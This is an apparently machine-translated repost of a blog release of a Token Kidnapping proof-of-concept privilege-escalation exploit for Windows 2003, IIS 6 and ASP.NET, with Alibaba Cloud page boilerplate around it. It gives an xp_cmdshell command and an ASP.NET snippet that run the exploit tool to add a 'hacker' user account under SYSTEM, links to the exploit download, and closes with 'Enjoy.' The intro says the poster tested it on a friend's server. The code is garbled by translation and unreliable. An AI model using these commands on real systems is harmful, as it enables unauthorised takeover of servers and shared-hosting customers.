IIS6 + Asp.net server critical vulnerability

Source: Internet
Author: User

My colleague discovered this vulnerability the day before yesterday. Today, I tested it in my friend's space and can indeed run all the commands,

So far, no patch has been provided for ms. It is estimated that tens of thousands of bots have been added in China. DDoS attacks are getting worse.

It has been a long time since Token Kidnapping presentation (http ://
Www.argeniss.com/research/Tokenkidnapping.pdf) was published so I
Decided to release a POC exploit for win2k3 that alows to execute code
Under SYSTEM account.

Basically if you can run code under any service in win2k3 then you can
Own windows, this is because Windows Services accounts can
Impersonate.
Other process (not services) that can impersonate are IIS 6 worker
Processes so if you can run code from an ASP. NET or classic ASP Web
Application then you can own windows too. If you provide shared
Hosting services then I wowould recomend to not allow users to run this
Kind of code from ASP.

-SQL Server is a nice target for the exploit if you are a DBA and want
To own windows:

Exec xp_cmdshell 'rasco "Net user/Add hacker "'

-Exploiting IIS 6 with ASP. NET:
...
System. Diagnostics. Process myp = new system. Diagnostics. Process ();
Myp. startinfo.

Redirectstandardoutput = true;
Myp. startinfo. filename = server. Mappath ("maid ");
Myp. startinfo. useshellexecute = false;
Myp. startinfo. Arguments = "\" Net user/Add hacker \"";
Myp. Start ();
String output = myp. standardoutput. readtoend () ;
Response. Write (output );
...

You can find the POC exploit here http://www.argeniss.com/Research/chilrasco.zip

Enjoy.
Posted by Cesar cerrudo at 4: 10 pm

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.